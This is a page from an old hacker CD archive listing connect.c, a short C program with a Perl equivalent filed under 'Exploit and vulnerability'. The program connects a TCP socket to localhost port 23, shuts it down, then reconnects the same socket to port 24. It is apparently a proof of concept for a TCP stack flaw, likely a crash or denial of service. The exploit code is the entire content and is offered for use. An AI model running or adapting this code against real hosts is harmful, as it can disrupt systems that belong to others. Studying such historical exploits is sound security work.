home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
connect.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
1KB
|
46 lines
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <netdb.h>
#include <stdio.h>
main()
{
int sock;
struct sockaddr_in server;
struct hostent *hp;
sock = socket(AF_INET, SOCK_STREAM, 0);
/* or sock = socket(AF_INET, SOCK_STREAM, 6); */
hp = gethostbyname("localhost");
bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
server.sin_family = AF_INET;
server.sin_port = 23;
connect(sock, (struct sockaddr *)&server, sizeof server);
shutdown(sock, 2);
server.sin_port = 24;
connect(sock, (struct sockaddr *)&server, sizeof server);
}
/* Here is a perl script that does the same thing as above --
-------------------------------------------
#!/usr/local/bin/perl5
use Socket;
socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr;
-------------------------------------------
*/